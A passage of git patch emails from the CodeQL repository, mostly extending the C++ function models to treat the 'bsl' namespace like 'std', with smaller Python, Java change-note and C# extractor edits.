@@ -20,7 +20,7 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect // memcpy(dest, src, num) // memmove(dest, src, num) // memmove(dest, src, num, remaining) - this.hasGlobalOrStdName(["memcpy", "memmove"]) + this.hasQualifiedName(["", "std", "bsl"], ["memcpy", "memmove"]) or // bcopy(src, dest, num) // mempcpy(dest, src, num) From 74ce7369f8d5ea5b4f1be2e112d32da18ba64391 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 15 Feb 2021 12:35:16 +0100 Subject: [PATCH 1202/1241] Update javascript/change-notes/2021-02-09-form-parsers.md Co-authored-by: Asger F --- javascript/change-notes/2021-02-09-form-parsers.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/javascript/change-notes/2021-02-09-form-parsers.md b/javascript/change-notes/2021-02-09-form-parsers.md index 4ad87cff32b..ec45a6c144d 100644 --- a/javascript/change-notes/2021-02-09-form-parsers.md +++ b/javascript/change-notes/2021-02-09-form-parsers.md @@ -1,6 +1,7 @@ lgtm,codescanning * Server side form parsing libraries are now recognized as source of remote user input. - [multer](https://www.npmjs.com/package/multer) and - [busboy](https://www.npmjs.com/package/busboy) and - [formidable](https://www.npmjs.com/package/formidable) and - [multiparty](https://www.npmjs.com/package/formidable) \ No newline at end of file + Affected packages are + [multer](https://www.npmjs.com/package/multer), + [busboy](https://www.npmjs.com/package/busboy), + [formidable](https://www.npmjs.com/package/formidable), and + [multiparty](https://www.npmjs.com/package/formidable). From 2a3d20d9a94a9abc835fd98c5aa0f88478b1c51a Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 12:36:18 +0100 Subject: [PATCH 1203/1241] C++: Refactor Memset.qll and include bsl model. --- cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll index 6636b34fe9d..7d6a470589d 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll @@ -15,7 +15,9 @@ import semmle.code.cpp.models.interfaces.SideEffect private class MemsetFunction extends ArrayFunction, DataFlowFunction, AliasFunction, SideEffectFunction { MemsetFunction() { - this.hasGlobalOrStdName(["memset", "wmemset"]) + this.hasQualifiedName(["", "std", "bsl"], "memset") + or + this.hasGlobalOrStdName("wmemset") or this.hasGlobalName([bzero(), "__builtin_memset", "__builtin_memset_chk"]) } From da38377e365b8f50fa2c9a77a6b112e961e0bff8 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 12:12:29 +0000 Subject: [PATCH 1204/1241] C++: Simplify code. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 13 +++++++++++++ .../code/cpp/models/implementations/Memcpy.qll | 2 +- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 35ae092780d..1f488bfeb5f 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -139,6 +139,19 @@ class Declaration extends Locatable, @declaration { this.hasQualifiedName("std", "", name) } + /** + * Holds if this declaration has the given name in the global namespace, + * the `std` namespace or the `bsl` namespace. + * We treat `std` and `bsl` as the same in a bunch of our models. + */ + predicate hasGlobalOrStdishName(string name) { + this.hasGlobalName(name) + or + this.hasQualifiedName("std", "", name) + or + this.hasQualifiedName("bsl", "", name) + } + /** Gets a specifier of this declaration. */ Specifier getASpecifier() { none() } // overridden in subclasses diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll index 25229279db1..3b02ba58e11 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll @@ -20,7 +20,7 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect // memcpy(dest, src, num) // memmove(dest, src, num) // memmove(dest, src, num, remaining) - this.hasQualifiedName(["", "std", "bsl"], ["memcpy", "memmove"]) + this.hasGlobalOrStdishName(["memcpy", "memmove"]) or // bcopy(src, dest, num) // mempcpy(dest, src, num) From 79e3bf80c3e639e795269f1fc179c4e7474afde3 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 12:13:25 +0000 Subject: [PATCH 1205/1241] C++: Simplify code. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 13 +++++++++++++ .../code/cpp/models/implementations/Memset.qll | 2 +- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 35ae092780d..1f488bfeb5f 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -139,6 +139,19 @@ class Declaration extends Locatable, @declaration { this.hasQualifiedName("std", "", name) } + /** + * Holds if this declaration has the given name in the global namespace, + * the `std` namespace or the `bsl` namespace. + * We treat `std` and `bsl` as the same in a bunch of our models. + */ + predicate hasGlobalOrStdishName(string name) { + this.hasGlobalName(name) + or + this.hasQualifiedName("std", "", name) + or + this.hasQualifiedName("bsl", "", name) + } + /** Gets a specifier of this declaration. */ Specifier getASpecifier() { none() } // overridden in subclasses diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll index 7d6a470589d..5e3f446713f 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memset.qll @@ -15,7 +15,7 @@ import semmle.code.cpp.models.interfaces.SideEffect private class MemsetFunction extends ArrayFunction, DataFlowFunction, AliasFunction, SideEffectFunction { MemsetFunction() { - this.hasQualifiedName(["", "std", "bsl"], "memset") + this.hasGlobalOrStdishName("memset") or this.hasGlobalOrStdName("wmemset") or From c9af97b742ccc9bc544896a7266743eaa2479f77 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 12:30:31 +0000 Subject: [PATCH 1206/1241] C++: Model bsl functions in Pure.qll. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 13 +++++++++++++ .../semmle/code/cpp/models/implementations/Pure.qll | 8 ++++---- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 35ae092780d..1f488bfeb5f 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -139,6 +139,19 @@ class Declaration extends Locatable, @declaration { this.hasQualifiedName("std", "", name) } + /** + * Holds if this declaration has the given name in the global namespace, + * the `std` namespace or the `bsl` namespace. + * We treat `std` and `bsl` as the same in a bunch of our models. + */ + predicate hasGlobalOrStdishName(string name) { + this.hasGlobalName(name) + or + this.hasQualifiedName("std", "", name) + or + this.hasQualifiedName("bsl", "", name) + } + /** Gets a specifier of this declaration. */ Specifier getASpecifier() { none() } // overridden in subclasses diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll index 0dfa7fe6d76..4682032f284 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll @@ -7,7 +7,7 @@ import semmle.code.cpp.models.interfaces.SideEffect private class PureStrFunction extends AliasFunction, ArrayFunction, TaintFunction, SideEffectFunction { PureStrFunction() { - hasGlobalOrStdName([ + hasGlobalOrStdishName([ atoi(), "strcasestr", "strchnul", "strchr", "strchrnul", "strstr", "strpbrk", "strrchr", "strspn", strtol(), strrev(), strcmp(), strlwr(), strupr() ]) @@ -92,7 +92,7 @@ private string strcmp() { /** String standard `strlen` function, and related functions for computing string lengths. */ private class StrLenFunction extends AliasFunction, ArrayFunction, SideEffectFunction { StrLenFunction() { - hasGlobalOrStdName(["strlen", "strnlen", "wcslen"]) + hasGlobalOrStdishName(["strlen", "strnlen", "wcslen"]) or hasGlobalName(["_mbslen", "_mbslen_l", "_mbstrlen", "_mbstrlen_l"]) } @@ -125,7 +125,7 @@ private class StrLenFunction extends AliasFunction, ArrayFunction, SideEffectFun /** Pure functions. */ private class PureFunction extends TaintFunction, SideEffectFunction { - PureFunction() { hasGlobalOrStdName(["abs", "labs"]) } + PureFunction() { hasGlobalOrStdishName(["abs", "labs"]) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { exists(ParameterIndex i | @@ -144,7 +144,7 @@ private class PureFunction extends TaintFunction, SideEffectFunction { private class PureMemFunction extends AliasFunction, ArrayFunction, TaintFunction, SideEffectFunction { PureMemFunction() { - hasGlobalOrStdName([ + hasGlobalOrStdishName([ "memchr", "__builtin_memchr", "memrchr", "rawmemchr", "memcmp", "__builtin_memcmp", "memmem" ]) or this.hasGlobalName("memfrob") From 27c479a8baf6103ccb0ae2182292973c45b26251 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Mon, 15 Feb 2021 13:51:29 +0100 Subject: [PATCH 1207/1241] Python: Limit `RequestInputAccess` to immediate uses This fixes some spurious results that occurred when we considered _any_ use of `request.something` to be a source, even ones we had tracked into other functions. To prevent this, using `getAnImmediateUse` better captures the fact that we want the source to be just the actual attribute access. --- python/ql/src/semmle/python/frameworks/Flask.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index c0702ab7391..fe394c6c8ac 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -312,7 +312,7 @@ private module FlaskModel { RequestInputAccess() { // attributes - this = flask::request().getMember(attr_name).getAUse() and + this = flask::request().getMember(attr_name).getAnImmediateUse() and attr_name in [ // str "path", "full_path", "base_url", "url", "access_control_request_method", From 2ca12aa6125a84436938d82bda3d8baf1d9a1d67 Mon Sep 17 00:00:00 2001 From: Taus Date: Mon, 15 Feb 2021 14:21:12 +0100 Subject: [PATCH 1208/1241] Update python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll Co-authored-by: Rasmus Wriedt Larsen --- .../src/semmle/python/dataflow/new/internal/DataFlowPublic.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index b86bdd2a3cf..3d844047327 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -175,7 +175,7 @@ class CallCfgNode extends CfgNode { */ Node getFunction() { result.asCfgNode() = node.getFunction() } - /** Gets the data-flow node corresponding to the nth argument of the call corresponding to this data-flow node */ + /** Gets the data-flow node corresponding to the i'th argument of the call corresponding to this data-flow node */ Node getArg(int i) { result.asCfgNode() = node.getArg(i) } /** Gets the data-flow node corresponding to the named argument of the call corresponding to this data-flow node */ From 923e1c5e9ba9232586a8d0156a56a526be27dfc9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 15 Feb 2021 14:41:18 +0100 Subject: [PATCH 1209/1241] add change note for new ArrayUtils support --- java/change-notes/2021-02-15-commons-array-utils.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 java/change-notes/2021-02-15-commons-array-utils.md diff --git a/java/change-notes/2021-02-15-commons-array-utils.md b/java/change-notes/2021-02-15-commons-array-utils.md new file mode 100644 index 00000000000..a689a08e98c --- /dev/null +++ b/java/change-notes/2021-02-15-commons-array-utils.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added support for the Apache Commons Lang ArrayUtils library. From 3d3f4ba797675f9a3bebe767148a47824578e286 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mun=CC=83oz?= Date: Mon, 15 Feb 2021 14:53:16 +0100 Subject: [PATCH 1210/1241] add change note --- java/change-notes/2021-02-15-snakeyaml-fn-fix.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 java/change-notes/2021-02-15-snakeyaml-fn-fix.md diff --git a/java/change-notes/2021-02-15-snakeyaml-fn-fix.md b/java/change-notes/2021-02-15-snakeyaml-fn-fix.md new file mode 100644 index 00000000000..ed08bdfe8c6 --- /dev/null +++ b/java/change-notes/2021-02-15-snakeyaml-fn-fix.md @@ -0,0 +1,5 @@ +lgtm,codescanning +* The query "Unsafe Deserialization" (`java/unsafe-deserialization`) has been + improved to report those cases where SnakeYaml `Constructor` is used to fix + the unmarshaled object graph root's type but injection is still possible in + nested nodes of the object graph. From 3afe934a05c694412215be4be80c546169fb9d5d Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 15:40:17 +0000 Subject: [PATCH 1211/1241] C++: Model bsl functions in Swap.qll. --- cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll index 285d20b8660..b79f7afe5d9 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Swap.qll @@ -9,7 +9,7 @@ import semmle.code.cpp.models.interfaces.Alias * ``` */ private class Swap extends DataFlowFunction { - Swap() { this.hasQualifiedName("std", "swap") } + Swap() { this.hasQualifiedName(["std", "bsl"], "swap") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { input.isParameterDeref(0) and From 9d19752d9a9dfd89ac21f5b7337d3de94226cb40 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 15:42:34 +0000 Subject: [PATCH 1212/1241] C++: Model bsl functions in Strcat.qll. --- cpp/ql/src/semmle/code/cpp/Declaration.qll | 13 +++++++++++++ .../code/cpp/models/implementations/Strcat.qll | 2 +- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Declaration.qll b/cpp/ql/src/semmle/code/cpp/Declaration.qll index 35ae092780d..1f488bfeb5f 100644 --- a/cpp/ql/src/semmle/code/cpp/Declaration.qll +++ b/cpp/ql/src/semmle/code/cpp/Declaration.qll @@ -139,6 +139,19 @@ class Declaration extends Locatable, @declaration { this.hasQualifiedName("std", "", name) } + /** + * Holds if this declaration has the given name in the global namespace, + * the `std` namespace or the `bsl` namespace. + * We treat `std` and `bsl` as the same in a bunch of our models. + */ + predicate hasGlobalOrStdishName(string name) { + this.hasGlobalName(name) + or + this.hasQualifiedName("std", "", name) + or + this.hasQualifiedName("bsl", "", name) + } + /** Gets a specifier of this declaration. */ Specifier getASpecifier() { none() } // overridden in subclasses diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll index f31d688d010..6dbed650cfa 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcat.qll @@ -13,7 +13,7 @@ import semmle.code.cpp.models.interfaces.SideEffect */ class StrcatFunction extends TaintFunction, DataFlowFunction, ArrayFunction, SideEffectFunction { StrcatFunction() { - this.hasGlobalOrStdName([ + this.hasGlobalOrStdishName([ "strcat", // strcat(dst, src) "strncat", // strncat(dst, src, max_amount) "wcscat", // wcscat(dst, src) From fd91a972a596f36761eabca1836156685afc7183 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 15:43:31 +0000 Subject: [PATCH 1213/1241] C++: Model bsl functions in Strcpy.qll. --- cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll index e01d364c5a7..72f993b7a4a 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strcpy.qll @@ -13,7 +13,7 @@ import semmle.code.cpp.models.interfaces.SideEffect */ class StrcpyFunction extends ArrayFunction, DataFlowFunction, TaintFunction, SideEffectFunction { StrcpyFunction() { - this.hasGlobalOrStdName([ + this.hasGlobalOrStdishName([ "strcpy", // strcpy(dst, src) "wcscpy", // wcscpy(dst, src) "strncpy", // strncpy(dst, src, max_amount) From fd2e0292c31533758219180dfa3ffb2b14de1255 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:00:37 +0000 Subject: [PATCH 1214/1241] C++: Model bsl functions in Strtok.qll. --- cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll index 659494ef2dd..3b7e97a53d0 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll @@ -15,7 +15,7 @@ import semmle.code.cpp.models.interfaces.Taint */ private class Strtok extends ArrayFunction, AliasFunction, TaintFunction, SideEffectFunction { Strtok() { - this.hasGlobalOrStdName("strtok") or + this.hasGlobalOrStdishName("strtok") or this.hasGlobalName(["strtok_r", "_strtok_l", "wcstok", "_wcstok_l", "_mbstok", "_mbstok_l"]) } From ba6e6337f3e002105f4b3288afa6246caf998d8d Mon Sep 17 00:00:00 2001 From: Ian Lynagh Date: Mon, 15 Feb 2021 16:08:03 +0000 Subject: [PATCH 1215/1241] C++: Fix TopLevelFunction's qldoc --- cpp/ql/src/semmle/code/cpp/Function.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index 4ddf852f49f..ac345e8a29a 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -680,7 +680,7 @@ class FunctionDeclarationEntry extends DeclarationEntry, @fun_decl { /** * A C/C++ non-member function (a function that is not a member of any - * class). For example the in the following code, `MyFunction` is a + * class). For example, in the following code, `MyFunction` is a * `TopLevelFunction` but `MyMemberFunction` is not: * ``` * void MyFunction() { From b670e5b04bba0f83897201922d371cdcd8a43b71 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:12:35 +0000 Subject: [PATCH 1216/1241] C++: Model bsl functions in Printf.qll. --- .../cpp/models/implementations/Printf.qll | 30 +++++++------------ 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll index 1767261efac..f70493e9f83 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Printf.qll @@ -15,7 +15,7 @@ private class Printf extends FormattingFunction, AliasFunction { Printf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName(["printf", "wprintf"]) or + hasGlobalOrStdishName(["printf", "wprintf"]) or hasGlobalName(["printf_s", "wprintf_s", "g_printf"]) ) and not exists(getDefinition().getFile().getRelativePath()) @@ -23,10 +23,7 @@ private class Printf extends FormattingFunction, AliasFunction { override int getFormatParameterIndex() { result = 0 } - deprecated override predicate isWideCharDefault() { - hasGlobalOrStdName("wprintf") or - hasGlobalName("wprintf_s") - } + deprecated override predicate isWideCharDefault() { hasName(["wprintf", "wprintf_s"]) } override predicate isOutputGlobal() { any() } @@ -44,7 +41,7 @@ private class Fprintf extends FormattingFunction { Fprintf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName(["fprintf", "fwprintf"]) or + hasGlobalOrStdishName(["fprintf", "fwprintf"]) or hasGlobalName("g_fprintf") ) and not exists(getDefinition().getFile().getRelativePath()) @@ -52,7 +49,7 @@ private class Fprintf extends FormattingFunction { override int getFormatParameterIndex() { result = 1 } - deprecated override predicate isWideCharDefault() { hasGlobalOrStdName("fwprintf") } + deprecated override predicate isWideCharDefault() { hasName("fwprintf") } override int getOutputParameterIndex(boolean isStream) { result = 0 and isStream = true } } @@ -64,7 +61,7 @@ private class Sprintf extends FormattingFunction { Sprintf() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName([ + hasGlobalOrStdishName([ "sprintf", // sprintf(dst, format, args...) "wsprintf" // wsprintf(dst, format, args...) ]) @@ -90,22 +87,20 @@ private class Sprintf extends FormattingFunction { } override int getFormatParameterIndex() { - hasGlobalName("g_strdup_printf") and result = 0 + hasName("g_strdup_printf") and result = 0 or - hasGlobalName("__builtin___sprintf_chk") and result = 3 + hasName("__builtin___sprintf_chk") and result = 3 or not getName() = ["g_strdup_printf", "__builtin___sprintf_chk"] and result = 1 } override int getOutputParameterIndex(boolean isStream) { - not hasGlobalName("g_strdup_printf") and result = 0 and isStream = false + not hasName("g_strdup_printf") and result = 0 and isStream = false } override int getFirstFormatArgumentIndex() { - if hasGlobalName("__builtin___sprintf_chk") - then result = 4 - else result = getNumberOfParameters() + if hasName("__builtin___sprintf_chk") then result = 4 else result = getNumberOfParameters() } } @@ -116,7 +111,7 @@ private class SnprintfImpl extends Snprintf { SnprintfImpl() { this instanceof TopLevelFunction and ( - hasGlobalOrStdName([ + hasGlobalOrStdishName([ "snprintf", // C99 defines snprintf "swprintf" // The s version of wide-char printf is also always the n version ]) @@ -163,10 +158,7 @@ private class SnprintfImpl extends Snprintf { } override predicate returnsFullFormatLength() { - ( - hasGlobalOrStdName("snprintf") or - hasGlobalName(["g_snprintf", "__builtin___snprintf_chk", "snprintf_s"]) - ) and + hasName(["snprintf", "g_snprintf", "__builtin___snprintf_chk", "snprintf_s"]) and not exists(getDefinition().getFile().getRelativePath()) } From d9c6f7bc3564956be9d72f4470920971726b66eb Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:12:46 +0000 Subject: [PATCH 1217/1241] C++: Model bsl functions in Scanf.qll. --- cpp/ql/src/semmle/code/cpp/commons/Scanf.qll | 32 ++++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll b/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll index 4b75bbe27d2..aec047cea6b 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/Scanf.qll @@ -34,10 +34,10 @@ class Scanf extends ScanfFunction { Scanf() { this instanceof TopLevelFunction and ( - hasName("scanf") or // scanf(format, args...) - hasName("wscanf") or // wscanf(format, args...) - hasName("_scanf_l") or // _scanf_l(format, locale, args...) - hasName("_wscanf_l") // _wscanf_l(format, locale, args...) + hasGlobalOrStdishName("scanf") or // scanf(format, args...) + hasGlobalOrStdishName("wscanf") or // wscanf(format, args...) + hasGlobalName("_scanf_l") or // _scanf_l(format, locale, args...) + hasGlobalName("_wscanf_l") // _wscanf_l(format, locale, args...) ) } @@ -53,10 +53,10 @@ class Fscanf extends ScanfFunction { Fscanf() { this instanceof TopLevelFunction and ( - hasName("fscanf") or // fscanf(src_stream, format, args...) - hasName("fwscanf") or // fwscanf(src_stream, format, args...) - hasName("_fscanf_l") or // _fscanf_l(src_stream, format, locale, args...) - hasName("_fwscanf_l") // _fwscanf_l(src_stream, format, locale, args...) + hasGlobalOrStdishName("fscanf") or // fscanf(src_stream, format, args...) + hasGlobalOrStdishName("fwscanf") or // fwscanf(src_stream, format, args...) + hasGlobalName("_fscanf_l") or // _fscanf_l(src_stream, format, locale, args...) + hasGlobalName("_fwscanf_l") // _fwscanf_l(src_stream, format, locale, args...) ) } @@ -72,10 +72,10 @@ class Sscanf extends ScanfFunction { Sscanf() { this instanceof TopLevelFunction and ( - hasName("sscanf") or // sscanf(src_stream, format, args...) - hasName("swscanf") or // swscanf(src, format, args...) - hasName("_sscanf_l") or // _sscanf_l(src, format, locale, args...) - hasName("_swscanf_l") // _swscanf_l(src, format, locale, args...) + hasGlobalOrStdishName("sscanf") or // sscanf(src_stream, format, args...) + hasGlobalOrStdishName("swscanf") or // swscanf(src, format, args...) + hasGlobalName("_sscanf_l") or // _sscanf_l(src, format, locale, args...) + hasGlobalName("_swscanf_l") // _swscanf_l(src, format, locale, args...) ) } @@ -91,10 +91,10 @@ class Snscanf extends ScanfFunction { Snscanf() { this instanceof TopLevelFunction and ( - hasName("_snscanf") or // _snscanf(src, max_amount, format, args...) - hasName("_snwscanf") or // _snwscanf(src, max_amount, format, args...) - hasName("_snscanf_l") or // _snscanf_l(src, max_amount, format, locale, args...) - hasName("_snwscanf_l") // _snwscanf_l(src, max_amount, format, locale, args...) + hasGlobalName("_snscanf") or // _snscanf(src, max_amount, format, args...) + hasGlobalName("_snwscanf") or // _snwscanf(src, max_amount, format, args...) + hasGlobalName("_snscanf_l") or // _snscanf_l(src, max_amount, format, locale, args...) + hasGlobalName("_snwscanf_l") // _snwscanf_l(src, max_amount, format, locale, args...) // note that the max_amount is not a limit on the output length, it's an input length // limit used with non null-terminated strings. ) From b6b90b59eb7f3d06c7fd5e81e30aa2530d330b69 Mon Sep 17 00:00:00 2001 From: Cornelius Riemenschneider Date: Mon, 15 Feb 2021 16:22:52 +0000 Subject: [PATCH 1218/1241] C++: Model bsl functions in SmartPointer.qll. --- .../semmle/code/cpp/models/implementations/SmartPointer.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/SmartPointer.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/SmartPointer.qll index b13b4a8801d..c6152624792 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/SmartPointer.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/SmartPointer.qll @@ -4,14 +4,14 @@ import semmle.code.cpp.models.interfaces.Taint * The `std::shared_ptr` and `std::unique_ptr` template classes. */ private class UniqueOrSharedPtr extends Class { - UniqueOrSharedPtr() { this.hasQualifiedName("std", ["shared_ptr", "unique_ptr"]) } + UniqueOrSharedPtr() { this.hasQualifiedName(["std", "bsl"], ["shared_ptr", "unique_ptr"]) } } /** * The `std::make_shared` and `std::make_unique` template functions. */ private class MakeUniqueOrShared extends TaintFunction { - MakeUniqueOrShared() { this.hasQualifiedName("std", ["make_shared", "make_unique"]) } + MakeUniqueOrShared() { this.hasQualifiedName(["bsl", "std"], ["make_shared", "make_unique"]) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // Exclude the specializations of `std::make_shared` and `std::make_unique` that allocate arrays From 8c4563b7e399a944a343241b6879a792d8b9f7c5 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 5 Feb 2021 11:19:23 +0100 Subject: [PATCH 1219/1241] Code quality improvements --- .../Populators/CompilationUnitVisitor.cs | 10 ++--- .../Populators/TypeContainerVisitor.cs | 40 +++++++++++-------- .../Populators/TypeOrNamespaceVisitor.cs | 4 +- 3 files changed, 30 insertions(+), 24 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs index 72f015464a3..c8adceebe38 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/CompilationUnitVisitor.cs @@ -13,30 +13,30 @@ namespace Semmle.Extraction.CSharp.Populators public override void VisitExternAliasDirective(ExternAliasDirectiveSyntax node) { // This information is not yet extracted. - cx.ExtractionError("Not implemented extern alias directive", node.ToFullString(), cx.CreateLocation(node.GetLocation()), "", Severity.Info); + Cx.ExtractionError("Not implemented extern alias directive", node.ToFullString(), Cx.CreateLocation(node.GetLocation()), "", Severity.Info); } public override void VisitCompilationUnit(CompilationUnitSyntax compilationUnit) { foreach (var m in compilationUnit.ChildNodes()) { - cx.Try(m, null, () => ((CSharpSyntaxNode)m).Accept(this)); + Cx.Try(m, null, () => ((CSharpSyntaxNode)m).Accept(this)); } // Gather comments: foreach (var trivia in compilationUnit.DescendantTrivia(compilationUnit.Span, descendIntoTrivia: true)) { - CommentPopulator.ExtractComment(cx, trivia); + CommentPopulator.ExtractComment(Cx, trivia); } foreach (var trivia in compilationUnit.GetLeadingTrivia()) { - CommentPopulator.ExtractComment(cx, trivia); + CommentPopulator.ExtractComment(Cx, trivia); } foreach (var trivia in compilationUnit.GetTrailingTrivia()) { - CommentPopulator.ExtractComment(cx, trivia); + CommentPopulator.ExtractComment(Cx, trivia); } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/TypeContainerVisitor.cs 